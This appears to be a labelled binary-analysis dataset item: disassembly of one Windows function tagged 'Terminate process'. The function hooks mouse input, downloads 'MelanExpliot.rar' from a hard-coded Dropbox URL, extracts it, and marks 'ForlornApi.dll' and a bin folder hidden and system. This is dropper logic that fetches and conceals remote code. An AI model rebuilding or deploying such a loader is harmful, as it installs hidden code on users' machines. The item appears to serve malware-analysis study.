Function at 0x140011082
Capabilities:
Terminate process

Disassembly:
jmp 0x140026db0
push rbp
push rdi
sub rsp, 0x228
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x52
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14003d040]
xor rax, rbp
mov qword [rbp + 0x1f8], rax
lea rcx, [0x14004710a]
call fcn.140011d4d
nop
call fcn.140011366
nop
call fcn.140011da2
nop
call fcn.140011483
nop
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x14001121c]
mov ecx, 0xe
call qword [sym.imp.USER32.dll_SetWindowsHookExW]
mov qword [0x14003d9f0], rax
cmp qword [0x14003d9f0], 0
jne 0x140026e35
mov ecx, 1
call qword [sym.imp.ucrtbased.dll_exit]
nop
lea rdx, str.MelanExpliot
lea rcx, [rbp + 8]
call fcn.1400115b4
nop
lea rcx, [rbp + 8]
call fcn.140011c76
movzx eax, al
test eax, eax
je 0x140026eaf
lea rdx, str.Directory
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140011186
lea rdx, [rbp + 8]
mov rcx, rax
call fcn.140011bcc
lea rdx, str._already_exists._Exiting.
mov rcx, rax
call fcn.140011186
lea rdx, [0x14001108c]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rcx, qword [0x14003d9f0]
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
nop
mov ecx, 1
call qword [sym.imp.ucrtbased.dll_exit]
nop
call fcn.1400119a6
movzx eax, al
test eax, eax
jne 0x140026f29
lea rdx, str.7_Zip_not_found._Installing...
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011186
lea rdx, [0x14001108c]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
call fcn.140011d2a
movzx eax, al
test eax, eax
jne 0x140026f29
lea rdx, str.Failed_to_install_7_Zip._Exiting.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140011186
lea rdx, [0x14001108c]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rcx, qword [0x14003d9f0]
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
nop
mov ecx, 1
call qword [sym.imp.ucrtbased.dll_exit]
nop
lea rdx, str.https:__www.dropbox.com_scl_fi_o3p49e5hxa1h7u0pel44m_MelanExpliot.rar_rlkeygore383uvxb3bb6jfq27ppgkxstrgwfxakodl1
lea rcx, [rbp + 0x48]
call fcn.1400115b4
nop
lea rdx, str.MelanExpliot.rar
lea rcx, [rbp + 0x88]
call fcn.1400115b4
nop
lea rdx, [rbp + 0x88]
lea rcx, [rbp + 0x48]
call fcn.14001183e
movzx eax, al
test eax, eax
je 0x140027131
lea rdx, str.Successfully_downloaded
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011186
lea rdx, [rbp + 0x88]
mov rcx, rax
call fcn.140011bcc
lea rdx, [0x14001108c]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x88]
call fcn.140011460
movzx eax, al
test eax, eax
je 0x1400270fc
lea rdx, str.Successfully_extracted
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011186
lea rdx, [rbp + 0x88]
mov rcx, rax
call fcn.140011bcc
lea rdx, [0x14001108c]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 8]
call fcn.140011c76
movzx eax, al
test eax, eax
je 0x1400270c7
lea r8, str.ForlornApi.dll
lea rdx, [rbp + 8]
lea rcx, [rbp + 0xc8]
call fcn.140011a78
nop
lea r8, str._bin
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x108]
call fcn.140011a78
nop
lea rcx, [rbp + 0xc8]
call fcn.1400117ee
movzx eax, al
test eax, eax
je 0x14002707a
lea rcx, [rbp + 0x108]
call fcn.1400117ee
movzx eax, al
test eax, eax
je 0x14002707a
lea rdx, str.Successfully_set_hidden_and_system_attributes_for_files_and_folder.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011186
lea rdx, [0x14001108c]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
jmp 0x14002709e
lea rdx, str.Failed_to_set_hidden_and_system_attributes.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140011186
lea rdx, [0x14001108c]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x88]
call fcn.140011078
nop
lea rcx, [rbp + 0x108]
call fcn.140011276
nop
lea rcx, [rbp + 0xc8]
call fcn.140011276
nop
jmp 0x1400270fa
lea rdx, str.Failed_to_extract
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140011186
lea rdx, [rbp + 0x88]
mov rcx, rax
call fcn.140011bcc
lea rdx, [0x14001108c]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
jmp 0x14002712f
lea rdx, str.Failed_to_extract
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140011186
lea rdx, [rbp + 0x88]
mov rcx, rax
call fcn.140011bcc
lea rdx, [0x14001108c]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
jmp 0x140027164
lea rdx, str.Failed_to_download
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140011186
lea rdx, [rbp + 0x88]
mov rcx, rax
call fcn.140011bcc
lea rdx, [0x14001108c]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rcx, qword [0x14003d9f0]
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
nop
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll_exit]
nop
lea rcx, [rbp + 0x88]
call fcn.140011276
lea rcx, [rbp + 0x48]
call fcn.140011276
lea rcx, [rbp + 8]
call fcn.140011276
nop
lea rcx, [rbp - 0x20]
lea rdx, [0x140034980]
call fcn.140011aff
nop
mov rcx, qword [rbp + 0x1f8]
xor rcx, rbp
call fcn.140011640
lea rsp, [rbp + 0x208]
pop rdi
pop rbp
ret